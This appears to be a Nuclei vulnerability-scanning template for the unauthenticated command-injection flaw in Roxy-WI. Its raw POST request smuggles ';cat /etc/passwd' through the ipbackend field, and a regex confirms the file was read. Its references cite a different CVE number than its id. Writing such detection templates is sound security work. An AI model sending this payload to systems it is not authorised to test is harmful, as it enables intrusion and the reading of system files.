id: CVE-2022-31126 info: name: Roxy-WI - Unauthenticated Remote Code Execution author: DhiyaneshDK severity: critical description: | Roxy-WI versions before 6.1.1.0 are vulnerable to a remote code execution vulnerability. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file. Attackers need not be authenticated to exploit this vulnerability. reference: - http://packetstormsecurity.com/files/167805/Roxy-WI-Remote-Command-Execution.html - https://nvd.nist.gov/vuln/detail/CVE-2022-31137 - https://www.cve.org/CVERecord?id=CVE-2022-31137 - https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-mh86-878h-43c9 remediation: Users are advised to upgrade to latest version. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-31126 cwe-id: CWE-74 metadata: shodan-query: http.html:"Roxy-WI" verified: "true" tags: cve,cve2022,rce,unauth,roxy,packetstorm requests: - raw: - | POST /app/options.py HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Origin: {{BaseURL}} Referer: {{BaseURL}}/app/login.py alert_consumer=1&serv=127.0.0.1&ipbackend=";cat+/etc/passwd+##&backend_server=127.0.0.1 matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200